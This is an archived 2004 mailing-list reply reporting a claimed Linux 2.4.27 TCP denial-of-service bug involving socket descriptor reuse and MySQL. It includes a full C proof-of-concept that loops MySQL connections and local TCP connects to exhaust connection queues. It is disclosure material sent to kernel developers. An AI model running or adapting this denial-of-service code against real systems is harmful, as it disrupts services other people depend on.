RE: Linux 2.4.27 SECURITY BUG - TCP Local (probable Remote) Denial of Service

From: Wolfpaw - Dale Corse (admin_at_wolfpaw.net)
Date: 09/12/04

  • Next message: 3APA3A: "Re: Remote buffer overflow in Apache mod_ssl when reverse proxying SSL"
    To: <davem@davemloft.net>
    Date: Sat, 11 Sep 2004 20:45:43 -0600
    
    

    Hi David,

    Hmm.. I was more looking for the correct kernel developer to send
    it to, rather then just releasing exploit code into the wild, and
    having it end up a zero day hack. It was not in any way my intention
    to waste anyone's time. I will however, comply with your politely
    stated request :)

    As for it being an application bug - it may be one in Mysql not
    closing the sockets, but it is a Kernel Bug that allows CLOSE_WAIT
    sockets to clog up the connection queues, and cause a DOS conditions
    on other applications (such as Apache). Since most software used for
    denial of service is badly written (intentionally) to exploit the
    holes, the error should be fixed, not blamed on faulty software.

    That being said - below is a the proper description, and the code
    used to exploit it. Hope it helps. This version is not the one
    which invokes the CLOSE_WAIT state, but rather the TIME_WAIT one,
    I am not able to publish the source code for the CLOSE_WAIT bug.
    The log however clearly shows that a mysql descriptor is closed,
    and then used immediately again by the socket call, which causes it
    never to end up getting closed. Linux apparently has either no
    timeout for CLOSE_WAIT, or it's a very very long one.. Either way
    is a bad thing.

    D.

    Description
    =============
    The "socket" call will reuse file descriptor before it is completely
    finished closing. In this case, it is Mysql (3.23.58) which doesn't
    appear to close them right away, and thus you end up with the
    result I mentioned.

    Proof Of Concept Code:
    ======================
    #include <sys/types.h>
    #include <time.h>
    #include <sys/stat.h>
    #include <ctype.h>
    #include <errno.h>
    #include <stdio.h>
    #include <time.h>
    #include <string>
    #include <fcntl.h>
    #include <signal.h>
    #include <stdarg.h>
    #include <sys/resource.h>
    #include <sys/wait.h>
    #include <stdlib.h>
    #include <sys/time.h>
    #include <unistd.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <netinet/in_systm.h>
    #include <netinet/ip.h>
    #include <arpa/inet.h>
    #include <arpa/telnet.h>
    #include <netdb.h>
    #include "mysql.h"
     
    int main (int argc, char **argv)
    {
     
    char *sql_host = "127.0.0.1";
    char *sql_name = "root";
    char *sql_pass = "<PASS>";
    char *sql_socket = NULL;
    int sql_port = <PORT>;
    char *c_host = "127.0.0.1";
    int c_port=80;
    long sock=0;
    int connectresult=0;
    struct sockaddr_in sockaddr;
    MYSQL mysql;
    MYSQL mysql2;
     
    mysql_init(&mysql);
    mysql_init(&mysql2);
     
    if (!mysql_real_connect (&mysql2, sql_host, sql_name,
    sql_pass,NULL,sql_port,sql_socket,0))
        {
          printf ("SQL-ERROR connecting to database: %s",
                   mysql_error (&mysql));
          exit(1);
        }
     
    printf("Mysql Socket Connected: %d\n",mysql.net.fd);
     
    while(1)
    {
     
    /* Close the SQL connection */
    mysql_close(&mysql);
     
    mysql_init(&mysql);
    if (!mysql_real_connect (&mysql, sql_host, sql_name,
    sql_pass,NULL,sql_port,sql_socket,0))
        {
          printf ("SQL-ERROR connecting to database: %s",
                   mysql_error (&mysql));
          exit(1);
        }
     
    printf("Mysql Socket Connected: %d\n",mysql.net.fd);

    sockaddr.sin_addr.s_addr=inet_addr(c_host);
    sockaddr.sin_port=htons(c_port);
     
      if((sock=socket(AF_INET, SOCK_STREAM, 0))<0)
        printf("socket failed.");
     
    sockaddr.sin_family=AF_INET;
     
    printf("Connecting to %s:%d (FD: %ld)... ",c_host,c_port,sock);
    connectresult=connect(sock,(struct sockaddr *) &sockaddr, sizeof(sockaddr));
     
    if(connectresult) {
       close(sock);
         
         switch(errno) {
           case ECONNREFUSED:
             printf(" CONNECTION REFUSED.\n");
             break;
           case ENETUNREACH:
             printf(" HOST UNREACHABLE.\n");
             break;
           default:
             printf(" FAILED: UNKNOWN ERROR");
         }
    }
    else
    {
    printf(" Connected.\n");
    }
     
    mysql_close(&mysql2);
     
    /* Make a Mysql Connection */
    mysql_init(&mysql2);
    if (!mysql_real_connect (&mysql2, sql_host, sql_name,
    sql_pass,NULL,sql_port,sql_socket,0))
        {
          printf ("SQL-ERROR connecting to database: %s",
                   mysql_error (&mysql2));
          exit(1);
        }
     
    printf("Mysql Socket Connected: %d\n",mysql2.net.fd);
     
    /* Close the socket connection */
    printf("Closing socket #%ld",sock);
    close(sock);
    }
     
    }

    > -----Original Message-----
    > From: David S. Miller [mailto:davem@davemloft.net]
    > Sent: Saturday, September 11, 2004 7:12 PM
    > To: admin@wolfpaw.net
    > Cc: linux-kernel@vger.kernel.org; grsecurity@grsecurity.net;
    > bugtraq@securityfocus.com
    > Subject: Re: Linux 2.4.27 SECURITY BUG - TCP Local (probable
    > Remote) Denial of Service
    >
    >
    >
    > Close wait means the application locally has not closed
    > the file descriptor, yet the remote end has sent
    > a FIN.
    >
    > This is %99 of the time an application bug.
    >
    > But since you haven't provided much detail of the problem
    > nobody will ever know exactly what you're talking about.
    >
    > Please, do me and everyone else here on this list a real huge
    > favor, don't post bug reports without all the details, you're
    > just wasting everyone's time. If it's exploitable, even more
    > reason to post every single detail so we can work on a fix if
    > necessary as fast as possible.
    >
    > --------------------------------------------------------------
    > --------------
    > -
    > This message has been scanned for Spam and Viruses by ClamAV
    > and SpamAssassin
    > --------------------------------------------------------------
    > --------------
    > -
    >
    >
    >
    >
    >


  • Next message: 3APA3A: "Re: Remote buffer overflow in Apache mod_ssl when reverse proxying SSL"

    Relevant Pages

    • RE: Linux 2.4.27 SECURITY BUG - TCP Local (probable Remote) Denial of Service
      ... The log however clearly shows that a mysql descriptor is closed, ... The "socket" call will reuse file descriptor before it is completely ... int main ... /* Close the socket connection */ ...
      (Linux-Kernel)
    • Re: Cannot get mysql_connect to work
      ... You configure a web server for a document root (that's what Apache ... MySQL uses local UNIX-domain (at ... This will have problems if your MySQL client ... the socket. ...
      (comp.lang.php)
    • Re: installed mysql/php/apache but theres no mysql.sock file
      ... My email client is set to wrap lines at 72 chars. ... > mysql.sock is a UNIX socket, ... > adequate permissions to create the socket. ... In eterm I do the same command and it returns the pid ...
      (freebsd-questions)
    • RE: Socket Exception
      ... I have written a small test app that causes this problem in about one or two ... Both the client and the server run on the same ... Each command is a new socket connection that is opened and closed at ... the .NET Socket libraries or the settings I have chosen for the connection. ...
      (microsoft.public.win32.programmer.networks)
    • Re: [SLE] I HAD IT WORKING! MySQL under SuSE 9.0 Woes
      ... > port       = 3306 ... # The following options will be passed to all MySQL clients ... socket      = /var/lib/mysql/mysql.sock ... All this does is prevent you from deleting a critical database accidentally. ...
      (SuSE)

  • Quantcast